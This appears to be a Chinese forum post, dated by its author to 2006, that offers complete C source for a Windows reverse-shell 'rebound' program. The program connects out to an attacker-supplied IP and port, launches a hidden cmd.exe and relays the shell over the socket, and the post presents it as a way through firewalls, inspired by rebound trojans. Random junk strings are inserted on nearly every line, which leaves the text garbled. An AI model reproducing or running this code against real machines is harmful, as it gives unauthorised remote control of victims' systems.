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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y!xF ;a  
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/* ============================== yHYsZ,GE  
Rebound port in Windows NT /|w6:;$;mn  
By wind,2006/7 e v}S+!|U  
===============================*/ D'>_I.  
#include ?9vuuIE  
#include a9e>iU  
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#pragma comment(lib,"wsock32.lib") W<{h,j8  
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void OutputShell(); %jJG>T  
SOCKET sClient; xh-o}8*n"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Gf6p'(\zun  
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void main(int argc,char **argv) + /G2fhE  
{ m[osg< CR_  
WSADATA stWsaData; qw301]y  
int nRet; 1y &\5kB  
SOCKADDR_IN stSaiClient,stSaiServer; _~m5^Q&  
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if(argc != 3) *][`@@->  
{ y8y5*e~A-)  
printf("Useage:\n\rRebound DestIP DestPort\n"); zC:ASt  
return; ^S<Y>Nm]  
} 5&g@3j]  
@)+AaC#-  
WSAStartup(MAKEWORD(2,2),&stWsaData); },?kk1vIT{  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?5__oT  
H H)!_(SA  
stSaiClient.sin_family = AF_INET; 8$cLG*=h4  
stSaiClient.sin_port = htons(0); hF?1y`20  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _RYxD"m y  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g9pZ\$J&  
{ B4/>H|  
printf("Bind Socket Failed!\n"); 0 JS?;fk  
return; S>+|OCl";  
} G5_=H,Vmd  
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stSaiServer.sin_family = AF_INET; ldcqe$7,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &AMl:@p9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]EbM9Fo-U  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Jrf=@m\dk  
{ Ty\R=y}}  
printf("Connect Error!"); n80?N}  
return; s+Pq&<nV-  
} ja'T+!k  
OutputShell(); uc{Ihw  
} Q}JOU  
{W`%g^Z|H  
void OutputShell() hag$GX'2k  
{ ,KZ~?3$yj  
char szBuff[1024]; =?* !"&h  
SECURITY_ATTRIBUTES stSecurityAttributes; c]<5zyl"j1  
OSVERSIONINFO stOsversionInfo; Es`Px_k  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2qNt,;DQ  
STARTUPINFO stStartupInfo; .LZ?S"z$ w  
char *szShell; nPtuTySG  
PROCESS_INFORMATION stProcessInformation; s^TZXCyF o  
unsigned long lBytesRead; ]cvwIc">  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Jr4Ky<G_i  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1~FOgk1;  
stSecurityAttributes.lpSecurityDescriptor = 0; gg/-k;@ Rf  
stSecurityAttributes.bInheritHandle = TRUE; uMv,zO5  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M0"_^?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :,7hWs  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D) P._?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DfD&)tsMQ  
stStartupInfo.wShowWindow = SW_HIDE; ]5cT cX;Z#  
stStartupInfo.hStdInput = hReadPipe; Uc>lGo1j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; MchA{p&Ol  
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GetVersionEx(&stOsversionInfo); gVuFHHeUz  
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switch(stOsversionInfo.dwPlatformId) =XQ%t @z0  
{ ?j.,Nw4FC  
case 1: ATyEf5Id_  
szShell = "command.com"; IPpN@  
break; o/)h"i0P  
default: U/M>?G~  
szShell = "cmd.exe"; .Efk*  
break; >:!5*E5?  
} y^ *~B(T{  
NxY#NaE:?4  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0mVNQxHI  
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send(sClient,szMsg,77,0); 6MW{,N  
while(1) 3?yg\  
{ i]4I [!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }<r)~{UV  
if(lBytesRead) vr l-$ii  
{ }.(B}/$u  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }X6m:#6  
send(sClient,szBuff,lBytesRead,0); pv&sO~!iC  
} ^ @5QP$.  
else ;'K5J9k  
{ ]6` %  
lBytesRead=recv(sClient,szBuff,1024,0); J@'wf8Ub  
if(lBytesRead<=0) break; aXYY:;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3$R1ipb  
} BU_nh+dF  
} x9g#<2w8  
)akoa,#%6c  
return; 2zb"MEOS5  
}
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